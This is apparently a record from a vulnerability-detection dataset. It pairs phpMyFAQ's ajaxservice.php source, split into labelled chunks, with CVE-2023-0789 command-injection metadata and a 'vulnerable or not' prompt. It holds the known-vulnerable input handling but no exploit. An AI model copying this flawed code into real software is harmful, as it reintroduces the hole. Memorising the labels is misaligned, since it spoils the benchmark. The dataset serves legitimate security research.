Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2018/06/msg00000.html"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00015.html"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00016.html"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00020.html"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/3676-1/"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/3676-2/"}, {"source": "cve@mitre.org", "tags": null, "url": "https://usn.ubuntu.com/3695-1/"}, {"source": "cve@mitre.org", "tags": null, "url": "https://usn.ubuntu.com/3695-2/"}, {"source": "cve@mitre.org", "tags": null, "url": "https://usn.ubuntu.com/3754-1/"}, {"source": "cve@mitre.org", "tags": ["Release Notes"], "url": "https://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.16.6"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-119"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/torvalds/linux/commit/9de4ee40547fd315d4a0ed1dd15a2fa3559ad707"}, "type": "CWE-119"}
131
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * The Ajax Service Layer.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public License,\n * v. 2.0. If a copy of the MPL was not distributed with this file, You can\n * obtain one at http://mozilla.org/MPL/2.0/.\n *\n * @package phpMyFAQ\n * @author Thorsten Rinne <thorsten@phpmyfaq.de>\n * @copyright 2010-2022 phpMyFAQ Team\n * @license http://www.mozilla.org/MPL/2.0/ Mozilla Public License Version 2.0\n * @link https://www.phpmyfaq.de\n * @since 2010-09-15\n */", "const IS_VALID_PHPMYFAQ = null;", "use phpMyFAQ\\Captcha;\nuse phpMyFAQ\\Category;\nuse phpMyFAQ\\Comments;\nuse phpMyFAQ\\Entity\\Comment;\nuse phpMyFAQ\\Entity\\CommentType;\nuse phpMyFAQ\\Faq;\nuse phpMyFAQ\\Faq\\FaqMetaData;\nuse phpMyFAQ\\Faq\\FaqPermission;\nuse phpMyFAQ\\Filter;\nuse phpMyFAQ\\Helper\\CategoryHelper;\nuse phpMyFAQ\\Helper\\FaqHelper;\nuse phpMyFAQ\\Helper\\HttpHelper;\nuse phpMyFAQ\\Helper\\QuestionHelper;\nuse phpMyFAQ\\Helper\\RegistrationHelper;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Language\\Plurals;\nuse phpMyFAQ\\Link;\nuse phpMyFAQ\\Mail;\nuse phpMyFAQ\\Network;\nuse phpMyFAQ\\News;\nuse phpMyFAQ\\Notification;\nuse phpMyFAQ\\Question;\nuse phpMyFAQ\\Rating;\nuse phpMyFAQ\\Search;\nuse phpMyFAQ\\Search\\SearchResultSet;\nuse phpMyFAQ\\Session;\nuse phpMyFAQ\\Stopwords;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\User;\nuse phpMyFAQ\\User\\CurrentUser;\nuse phpMyFAQ\\Utils;", "//\n// Bootstrapping\n//\nrequire 'src/Bootstrap.php';", "$action = Filter::filterInput(INPUT_GET, 'action', FILTER_UNSAFE_RAW);\n$ajaxLang = Filter::filterInput(INPUT_POST, 'lang', FILTER_UNSAFE_RAW);\n$code = Filter::filterInput(INPUT_POST, 'captcha', FILTER_UNSAFE_RAW);\n$currentToken = Filter::filterInput(INPUT_POST, 'csrf', FILTER_UNSAFE_RAW);", "$Language = new Language($faqConfig);\n$languageCode = $Language->setLanguage($faqConfig->get('main.languageDetection'), $faqConfig->get('main.language'));\nrequire_once 'lang/language_en.php';\n$faqConfig->setLanguage($Language);", "if (Language::isASupportedLanguage($ajaxLang)) {\n $languageCode = trim($ajaxLang);\n require_once 'lang/language_' . $languageCode . '.php';\n} else {\n $languageCode = 'en';\n require_once 'lang/language_en.php';\n}", "//\n// Load plurals support for selected language\n//\n$plr = new Plurals($PMF_LANG);", "//\n// Initializing static string wrapper\n//\nStrings::init($languageCode);", "//\n// Send headers\n//\n$http = new HttpHelper();\n$http->setContentType('application/json');", "$faqSession = new Session($faqConfig);\n$network = new Network($faqConfig);\n$stopWords = new Stopwords($faqConfig);", "if (!$network->checkIp($_SERVER['REMOTE_ADDR'])) {\n $message = ['error' => $PMF_LANG['err_bannedIP']];\n}", "//\n// Check, if user is logged in\n//\n$user = CurrentUser::getFromCookie($faqConfig);\nif (!$user instanceof CurrentUser) {\n $user = CurrentUser::getFromSession($faqConfig);\n}\nif ($user instanceof CurrentUser) {\n $isLoggedIn = true;\n} else {\n $isLoggedIn = false;\n}", "//\n// Check captcha\n//\n$captcha = new Captcha($faqConfig);\n$captcha->setUserIsLoggedIn($isLoggedIn);", "if (\n'savevoting' !== $action && 'saveuserdata' !== $action && 'changepassword' !== $action && !is_null($code) &&\n !$captcha->checkCaptchaCode($code)\n) {\n $message = ['error' => $PMF_LANG['msgCaptcha']];\n}", "//\n// Check if the user is logged in when FAQ is completely secured\n//\nif (\n false === $isLoggedIn && $faqConfig->get('security.enableLoginOnly') &&\n 'changepassword' !== $action && 'saveregistration' !== $action\n) {\n $message = ['error' => $PMF_LANG['ad_msg_noauth']];\n}", "if (isset($message['error'])) {\n $http->sendJsonWithHeaders($message);\n exit();\n}", "// Save user generated content\nswitch ($action) {\n //\n // Comments\n //\n case 'savecomment':\n if (\n !$faqConfig->get('records.allowCommentsForGuests') &&\n !$user->perm->hasPermission($user->getUserId(), 'addcomment')\n ) {\n $message = ['error' => $PMF_LANG['err_NotAuth']];\n break;\n }", " $faq = new Faq($faqConfig);\n $oComment = new Comments($faqConfig);\n $category = new Category($faqConfig);\n $type = Filter::filterInput(INPUT_POST, 'type', FILTER_UNSAFE_RAW);\n $faqId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0);\n $newsId = Filter::filterInput(INPUT_POST, 'newsId', FILTER_VALIDATE_INT);\n $username = Filter::filterInput(INPUT_POST, 'user', FILTER_UNSAFE_RAW);\n $mailer = Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL);\n $comment = Filter::filterInput(INPUT_POST, 'comment_text', FILTER_UNSAFE_RAW);", " switch ($type) {\n case 'news':\n $id = $newsId;\n break;\n case 'faq';\n $id = $faqId;\n break;\n }", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($mailer)) {\n $mailer = $faqConfig->getAdminEmail();\n }", " // Check display name and e-mail address for not logged in users\n if (false === $isLoggedIn) {\n $user = new User($faqConfig);\n if (true === $user->checkDisplayName($username) && true === $user->checkMailAddress($mailer)) {\n $message = ['error' => '-' . $PMF_LANG['err_SaveComment']];\n break;\n }\n }\n \n if (\n !is_null($username) && !is_null($mailer) && !is_null($comment) && $stopWords->checkBannedWord(\n $comment\n ) && !$faq->commentDisabled(\n $id,\n $languageCode,\n $type\n )\n ) {\n try {\n $faqSession->userTracking('save_comment', $id);\n } catch (Exception $e) {\n // @todo handle the exception\n }", " $commentEntity = new Comment();\n $commentEntity\n ->setRecordId($id)\n ->setType($type)\n ->setUsername($username)\n ->setEmail($mailer)\n ->setComment(nl2br($comment))\n ->setDate($_SERVER['REQUEST_TIME']);", " if ($oComment->addComment($commentEntity)) {\n $emailTo = $faqConfig->getAdminEmail();\n $title = '';\n $urlToContent = '';\n if ('faq' == $type) {\n $faq->getRecord($id);\n if ($faq->faqRecord['email'] != '') {\n $emailTo = $faq->faqRecord['email'];\n }", " $title = $faq->getRecordTitle($id);", " $faqUrl = sprintf(\n '%s?action=faq&cat=%d&id=%d&artlang=%s',\n $faqConfig->getDefaultUrl(),\n $category->getCategoryIdFromFaq($faq->faqRecord['id']),\n $faq->faqRecord['id'],\n $faq->faqRecord['lang']\n );\n $oLink = new Link($faqUrl, $faqConfig);\n $oLink->itemTitle = $faq->faqRecord['title'];\n $urlToContent = $oLink->toString();\n } else {\n $news = new News($faqConfig);\n $newsData = $news->getNewsEntry($id);\n if ($newsData['authorEmail'] != '') {\n $emailTo = $newsData['authorEmail'];\n }", " $title = $newsData['header'];", " $link = sprintf(\n '%s?action=news&newsid=%d&newslang=%s',\n $faqConfig->getDefaultUrl(),\n $newsData['id'],\n $newsData['lang']\n );\n $oLink = new Link($link, $faqConfig);\n $oLink->itemTitle = $newsData['header'];\n $urlToContent = $oLink->toString();\n }", " $commentMail =\n 'User: ' . $commentEntity->getUsername() . ', mailto:' . $commentEntity->getEmail() . \"\\n\" .\n 'Title: ' . $title . \"\\n\" .\n 'New comment posted here: ' . $urlToContent .\n \"\\n\\n\" .\n wordwrap($comment, 72);", " $send = [];\n $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($commentEntity->getEmail(), $commentEntity->getUsername());\n $mailer->addTo($emailTo);", " $send[$emailTo] = 1;\n $send[$faqConfig->getAdminEmail()] = 1;", " if ($type === CommentType::FAQ) {\n // Let the category owner of a FAQ get a copy of the message\n $category = new Category($faqConfig);\n $categories = $category->getCategoryIdsFromFaq($faq->faqRecord['id']);\n foreach ($categories as $_category) {\n $userId = $category->getOwner($_category);\n $catUser = new User($faqConfig);\n $catUser->getUserById($userId);\n $catOwnerEmail = $catUser->getUserData('email');", " if ($catOwnerEmail !== '') {\n if (!isset($send[$catOwnerEmail]) && $catOwnerEmail !== $emailTo) {\n $mailer->addCc($catOwnerEmail);\n $send[$catOwnerEmail] = 1;\n }\n }\n }\n }", " $mailer->subject = $faqConfig->getTitle() . ': New comment for \"' . $title . '\"';\n $mailer->message = strip_tags($commentMail);", " $result = $mailer->send();\n unset($mailer);", " $message = ['success' => $PMF_LANG['msgCommentThanks']];\n } else {\n try {\n $faqSession->userTracking('error_save_comment', $id);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n $message = ['error' => $PMF_LANG['err_SaveComment']];\n }\n } else {\n $message = ['error' => 'Please add your name, your e-mail address and a comment!'];\n }\n break;", " case 'savefaq':\n if (\n !$faqConfig->get('records.allowNewFaqsForGuests') &&\n !$user->perm->hasPermission($user->getUserId(), 'addfaq')\n ) {\n $message = ['error' => $PMF_LANG['err_NotAuth']];\n break;\n }", " $faq = new Faq($faqConfig);\n $category = new Category($faqConfig);\n $questionObject = new Question($faqConfig);", " $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $faqId = Filter::filterInput(INPUT_POST, 'faqid', FILTER_VALIDATE_INT);\n $faqLanguage = Filter::filterInput(INPUT_POST, 'lang', FILTER_UNSAFE_RAW);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);", "", " if ($faqConfig->get('main.enableWysiwygEditorFrontend')) {\n $answer = Filter::filterInput(INPUT_POST, 'answer', FILTER_SANITIZE_SPECIAL_CHARS);\n $answer = html_entity_decode($answer);\n } else {\n $answer = Filter::filterInput(INPUT_POST, 'answer', FILTER_UNSAFE_RAW);", "", " $answer = nl2br($answer);\n }\n $translatedAnswer = Filter::filterInput(INPUT_POST, 'translated_answer', FILTER_UNSAFE_RAW);\n $contentLink = Filter::filterInput(INPUT_POST, 'contentlink', FILTER_UNSAFE_RAW);\n $contentLink = Filter::filterVar($contentLink, FILTER_VALIDATE_URL);\n $keywords = Filter::filterInput(INPUT_POST, 'keywords', FILTER_UNSAFE_RAW);\n $categories = Filter::filterInputArray(\n INPUT_POST,\n [\n 'rubrik' => [\n 'filter' => FILTER_VALIDATE_INT,\n 'flags' => FILTER_REQUIRE_ARRAY,\n ],\n ]\n );", " // Check on translation\n if (empty($answer) && !is_null($translatedAnswer)) {\n $answer = $translatedAnswer;\n }", " if (\n !is_null($author) && !is_null($email) && !empty($question) &&\n $stopWords->checkBannedWord(strip_tags($question)) &&\n !empty($answer) && $stopWords->checkBannedWord(strip_tags($answer)) &&\n ((is_null($faqId) && !is_null($categories['rubrik'])) || (!is_null($faqId) && !is_null($faqLanguage) &&\n Language::isASupportedLanguage($faqLanguage)))\n ) {\n $isNew = true;\n $newLanguage = '';", " if (!is_null($faqId)) {\n $isNew = false;\n try {\n $faqSession->userTracking('save_new_translation_entry', 0);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n } else {\n try {\n $faqSession->userTracking('save_new_entry', 0);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n }", " $isTranslation = false;\n if (!is_null($faqLanguage)) {\n $isTranslation = true;\n $newLanguage = $faqLanguage;\n }", " if (!is_null($contentLink) && Strings::substr($contentLink, 7) !== '') {\n $answer = sprintf(\n '%s<br><div id=\"newFAQContentLink\">%s<a href=\"http://%s\" target=\"_blank\">%s</a></div>',\n $answer,\n $PMF_LANG['msgInfo'],\n Strings::substr($contentLink, 7),\n $contentLink\n );\n }", " $autoActivate = $faqConfig->get('records.defaultActivation');", " $newData = [\n 'lang' => ($isTranslation === true ? $newLanguage : $languageCode),\n 'thema' => $question,\n 'active' => ($autoActivate ? FAQ_SQL_ACTIVE_YES : FAQ_SQL_ACTIVE_NO),\n 'sticky' => 0,\n 'content' => $answer,\n 'keywords' => $keywords,\n 'author' => $author,\n 'email' => $email,\n 'comment' => 'y',\n 'date' => date('YmdHis'),\n 'dateStart' => '00000000000000',\n 'dateEnd' => '99991231235959',\n 'linkState' => '',\n 'linkDateCheck' => 0,\n 'notes' => ''\n ];", " if ($isNew) {\n $categories = $categories['rubrik'];\n } else {\n $newData['id'] = $faqId;\n $categories = $category->getCategoryIdsFromFaq($newData['id']);\n }", " $recordId = $faq->addRecord($newData, $isNew);", " $openQuestionId = Filter::filterInput(INPUT_POST, 'openQuestionID', FILTER_VALIDATE_INT);\n if ($openQuestionId) {\n if ($faqConfig->get('records.enableDeleteQuestion')) {\n $questionObject->deleteQuestion($openQuestionId);\n } else { // adds this faq record id to the related open question\n $questionObject->updateQuestionAnswer($openQuestionId, $recordId, $categories[0]);\n }\n }", " $faqMetaData = new FaqMetaData($faqConfig);\n $faqMetaData\n ->setFaqId($recordId)\n ->setFaqLanguage($newData['lang'])\n ->setCategories($categories)\n ->save();", " // Let the admin and the category owners to be informed by email of this new entry\n $categoryHelper = new CategoryHelper();\n $categoryHelper\n ->setCategory($category)\n ->setConfiguration($faqConfig);", " $moderators = $categoryHelper->getModerators($categories);", " try {\n $notification = new Notification($faqConfig);\n $notification->sendNewFaqAdded($moderators, $recordId, $faqLanguage);\n } catch (Exception $e) {\n // @todo handle exception in v3.2\n }", "\n $message = [\n 'success' => ($isNew ? $PMF_LANG['msgNewContentThanks'] : $PMF_LANG['msgNewTranslationThanks']),\n ];\n } else {\n $message = [\n 'error' => $PMF_LANG['err_SaveEntries']\n ];\n }", " break;", " //\n // Add question\n //\n case 'savequestion':\n if (\n !$faqConfig->get('records.allowQuestionsForGuests') &&\n !$user->perm->hasPermission($user->getUserId(), 'addquestion')\n ) {\n $message = ['error' => $PMF_LANG['err_NotAuth']];\n break;\n }", " $faq = new Faq($faqConfig);\n $cat = new Category($faqConfig);\n $categories = $cat->getAllCategories();\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $ucategory = Filter::filterInput(INPUT_POST, 'category', FILTER_VALIDATE_INT);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);\n $save = Filter::filterInput(INPUT_POST, 'save', FILTER_VALIDATE_INT, 0);", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($email)) {\n $email = $faqConfig->getAdminEmail();\n }", " // If smart answering is disabled, save question immediately\n if (false === $faqConfig->get('main.enableSmartAnswering')) {\n $save = true;\n }", " if (\n !is_null($author) && !is_null($email) && !is_null($question) && $stopWords->checkBannedWord(\n Strings::htmlspecialchars($question)\n )\n ) {\n if ($faqConfig->get('records.enableVisibilityQuestions')) {\n $visibility = 'Y';\n } else {\n $visibility = 'N';\n }", " $questionData = [\n 'username' => $author,\n 'email' => $email,\n 'category_id' => $ucategory,\n 'question' => Strings::htmlspecialchars($question),\n 'is_visible' => $visibility\n ];", " if (false === (bool)$save) {\n $cleanQuestion = $stopWords->clean($question);", " $user = new CurrentUser($faqConfig);\n $faqSearch = new Search($faqConfig);\n $faqSearch->setCategory(new Category($faqConfig));\n $faqSearch->setCategoryId((int) $ucategory);\n $faqPermission = new FaqPermission($faqConfig);\n $faqSearchResult = new SearchResultSet($user, $faqPermission, $faqConfig);\n $searchResult = [];\n $mergedResult = [];", " foreach ($cleanQuestion as $word) {\n if (!empty($word)) {\n $searchResult[] = $faqSearch->search($word, false);\n }\n }\n foreach ($searchResult as $resultSet) {\n foreach ($resultSet as $result) {\n $mergedResult[] = $result;\n }\n }\n $faqSearchResult->reviewResultSet($mergedResult);", " if (0 < $faqSearchResult->getNumberOfResults()) {\n $response = sprintf(\n '<p>%s</p>',\n $plr->getMsg('plmsgSearchAmount', $faqSearchResult->getNumberOfResults())\n );", " $response .= '<ul>';", " $faqHelper = new FaqHelper($faqConfig);\n foreach ($faqSearchResult->getResultSet() as $result) {\n $url = sprintf(\n '%sindex.php?action=faq&cat=%d&id=%d&artlang=%s',\n $faqConfig->getDefaultUrl(),\n $result->category_id,\n $result->id,\n $result->lang\n );\n $oLink = new Link($url, $faqConfig);\n $oLink->text = Utils::chopString($result->question, 15);\n $oLink->itemTitle = $result->question;", " try {\n $response .= sprintf(\n '<li>%s<br><div class=\"searchpreview\">%s...</div></li>',\n $oLink->toHtmlAnchor(),\n $faqHelper->renderAnswerPreview($result->answer, 10)\n );\n } catch (Exception $e) {\n // handle exception\n }\n }\n $response .= '</ul>';", " $message = ['result' => $response];\n } else {\n $questionHelper = new QuestionHelper($faqConfig, $cat);\n try {\n $questionHelper->sendSuccessMail($questionData, $categories);\n } catch (Exception $e) {\n // @todo Handle exception\n }\n $message = ['success' => $PMF_LANG['msgAskThx4Mail']];\n }\n } else {\n $questionHelper = new QuestionHelper($faqConfig, $cat);\n try {\n $questionHelper->sendSuccessMail($questionData, $categories);\n } catch (Exception $e) {\n // @todo Handle exception\n }\n $message = ['success' => $PMF_LANG['msgAskThx4Mail']];\n }\n } else {\n $message = ['error' => $PMF_LANG['err_SaveQuestion']];\n }", " break;", " case 'saveregistration':\n $registration = new RegistrationHelper($faqConfig);", " $fullName = Filter::filterInput(INPUT_POST, 'realname', FILTER_UNSAFE_RAW);\n $userName = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $isVisible = Filter::filterInput(INPUT_POST, 'is_visible', FILTER_UNSAFE_RAW) ?? false;", " if (!$registration->isDomainWhitelisted($email)) {\n $message = ['error' => 'The domain is not whitelisted.'];\n break;\n }", " if (!is_null($userName) && !is_null($email) && !is_null($fullName)) {\n $message = $registration->createUser($userName, $fullName, $email, $isVisible);\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;", " case 'savevoting':\n $faq = new Faq($faqConfig);\n $rating = new Rating($faqConfig);\n $type = Filter::filterInput(INPUT_POST, 'type', FILTER_UNSAFE_RAW, 'faq');\n $recordId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0);\n $vote = Filter::filterInput(INPUT_POST, 'vote', FILTER_VALIDATE_INT);\n $userIp = Filter::filterVar($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP);", " if (isset($vote) && $rating->check($recordId, $userIp) && $vote > 0 && $vote < 6) {\n try {\n $faqSession->userTracking('save_voting', $recordId);\n } catch (Exception $e) {\n // @todo handle the exception\n }", " $votingData = [\n 'record_id' => $recordId,\n 'vote' => $vote,\n 'user_ip' => $userIp,\n ];", " if (!$rating->getNumberOfVotings($recordId)) {\n $rating->addVoting($votingData);\n } else {\n $rating->update($votingData);\n }\n $message = [\n 'success' => $PMF_LANG['msgVoteThanks'],\n 'rating' => $rating->getVotingResult($recordId),\n ];\n } elseif (!$rating->check($recordId, $userIp)) {\n try {\n $faqSession->userTracking('error_save_voting', $recordId);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n $message = ['error' => $PMF_LANG['err_VoteTooMuch']];\n } else {\n try {\n $faqSession->userTracking('error_save_voting', $recordId);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n $message = ['error' => $PMF_LANG['err_noVote']];\n }", " break;", " // Send user generated mails\n case 'sendcontact':\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($email)) {\n $email = $faqConfig->getAdminEmail();\n }", " if (\n !is_null($author) && !is_null($email) && !is_null($question) && !empty($question) &&\n $stopWords->checkBannedWord(Strings::htmlspecialchars($question))\n ) {\n $question = sprintf(\n \"%s %s\\n%s %s\\n\\n %s\",\n $PMF_LANG['msgNewContentName'],\n $author,\n $PMF_LANG['msgNewContentMail'],\n $email,\n $question\n );", " $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($email, $author);\n $mailer->addTo($faqConfig->getAdminEmail());\n $mailer->subject = Utils::resolveMarkers('Feedback: %sitename%', $faqConfig);\n $mailer->message = $question;\n $mailer->send();", " unset($mailer);", " $message = ['success' => $PMF_LANG['msgMailContact']];\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;", " // Send mails to friends\n case 'sendtofriends':\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $link = Filter::filterInput(INPUT_POST, 'link', FILTER_VALIDATE_URL);\n $attached = Filter::filterInput(INPUT_POST, 'message', FILTER_UNSAFE_RAW);\n $mailto = Filter::filterInputArray(\n INPUT_POST,\n [\n 'mailto' => [\n 'filter' => FILTER_VALIDATE_EMAIL,\n 'flags' => FILTER_REQUIRE_ARRAY | FILTER_NULL_ON_FAILURE,\n ],\n ]\n );", " if (\n !is_null($author) && !is_null($email) && is_array($mailto) && !empty($mailto['mailto'][0]) &&\n $stopWords->checkBannedWord(Strings::htmlspecialchars($attached))\n ) {\n foreach ($mailto['mailto'] as $recipient) {\n $recipient = trim(strip_tags($recipient));\n if (!empty($recipient)) {\n $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($email, $author);\n $mailer->addTo($recipient);\n $mailer->subject = $PMF_LANG['msgS2FMailSubject'] . $author;\n $mailer->message = sprintf(\n \"%s\\r\\n\\r\\n%s\\r\\n%s\\r\\n\\r\\n%s\",\n $faqConfig->get('main.send2friendText'),\n $PMF_LANG['msgS2FText2'],\n $link,\n $attached\n );", " // Send the email\n $result = $mailer->send();\n unset($mailer);\n usleep(250);\n }\n }", " $message = ['success' => $PMF_LANG['msgS2FThx']];\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;", " //\n // Save user data from UCP\n //\n case 'saveuserdata':\n if (!isset($_SESSION['phpmyfaq_csrf_token']) || $_SESSION['phpmyfaq_csrf_token'] !== $currentToken) {\n $message = ['error' => $PMF_LANG['ad_msg_noauth']];\n break;\n }", " $userId = Filter::filterInput(INPUT_POST, 'userid', FILTER_VALIDATE_INT);\n $userName = Filter::filterInput(INPUT_POST, 'name', FILTER_SANITIZE_SPECIAL_CHARS);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $isVisible = Filter::filterInput(INPUT_POST, 'is_visible', FILTER_UNSAFE_RAW);\n $password = Filter::filterInput(INPUT_POST, 'password', FILTER_UNSAFE_RAW);\n $confirm = Filter::filterInput(INPUT_POST, 'password_confirm', FILTER_UNSAFE_RAW);", " $user = CurrentUser::getFromSession($faqConfig);", " if ($userId !== $user->getUserId()) {\n $message = ['error' => 'User ID mismatch!'];\n break;\n }", " if ($password !== $confirm) {\n $message = ['error' => $PMF_LANG['ad_user_error_passwordsDontMatch']];\n break;\n }", " if (strlen($password) <= 7 || strlen($confirm) <= 7) {\n $message = ['error' => $PMF_LANG['ad_passwd_fail']];\n break;\n } else {\n $userData = [\n 'display_name' => $userName,\n 'email' => $email,\n 'is_visible' => $isVisible === 'on' ? 1 : 0\n ];\n $success = $user->setUserData($userData);", " foreach ($user->getAuthContainer() as $author => $auth) {\n if ($auth->setReadOnly()) {\n continue;\n }\n if (!$auth->update($user->getLogin(), $password)) {\n $message = ['error' => $auth->error()];\n $success = false;\n } else {\n $success = true;\n }\n }\n }", " if ($success) {\n $message = ['success' => $PMF_LANG['ad_entry_savedsuc']];\n } else {\n $message = ['error' => $PMF_LANG['ad_entry_savedfail']];\n }\n break;", " //\n // Change password\n //\n case 'changepassword':\n $username = Filter::filterInput(INPUT_POST, 'username', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);", " if (!is_null($username) && !is_null($email)) {\n $user = new CurrentUser($faqConfig);\n $loginExist = $user->getUserByLogin($username);", " if ($loginExist && ($email == $user->getUserData('email'))) {\n $newPassword = $user->createPassword();\n $user->changePassword($newPassword);\n $text = $PMF_LANG['lostpwd_text_1'] . \"\\nUsername: \" . $username . \"\\nNew Password: \" . $newPassword . \"\\n\\n\" . $PMF_LANG['lostpwd_text_2'];", " $mailer = new Mail($faqConfig);\n $mailer->addTo($email);\n $mailer->subject = Utils::resolveMarkers('[%sitename%] Username / password request', $faqConfig);\n $mailer->message = $text;\n $result = $mailer->send();\n unset($mailer);\n // Trust that the email has been sent\n $message = ['success' => $PMF_LANG['lostpwd_mail_okay']];\n } else {\n $message = ['error' => $PMF_LANG['lostpwd_err_1']];\n }\n } else {\n $message = ['error' => $PMF_LANG['lostpwd_err_2']];\n }\n break;", " //\n // Request removal of user\n //\n case 'request-removal':\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $loginName = Filter::filterInput(INPUT_POST, 'loginname', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($email)) {\n $email = $faqConfig->getAdminEmail();\n }", " if (\n !is_null($author) && !is_null($email) && !is_null($question) &&\n !empty($question) && $stopWords->checkBannedWord(Strings::htmlspecialchars($question))\n ) {\n $question = sprintf(\n \"%s %s\\n%s %s\\n%s %s\\n\\n %s\",\n $PMF_LANG['ad_user_loginname'],\n $loginName,\n $PMF_LANG['msgNewContentName'],\n $author,\n $PMF_LANG['msgNewContentMail'],\n $email,\n $question\n );", " $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($email, $author);\n $mailer->addTo($faqConfig->getAdminEmail());\n $mailer->subject = $faqConfig->getTitle() . ': Remove User Request';\n $mailer->message = $question;\n $result = $mailer->send();\n unset($mailer);", " $message = ['success' => $PMF_LANG['msgMailContact']];\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;\n}", "$http->sendJsonWithHeaders($message);\nexit();" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [329], "buggy_code_start_loc": [324], "filenames": ["phpmyfaq/ajaxservice.php"], "fixing_code_end_loc": [332], "fixing_code_start_loc": [325], "message": "Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "matchCriteriaId": "0CADCF40-01A2-41DD-B454-4F5946570CA9", "versionEndExcluding": "3.1.11", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11."}], "evaluatorComment": null, "id": "CVE-2023-0789", "lastModified": "2023-02-23T05:10:44.350", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": 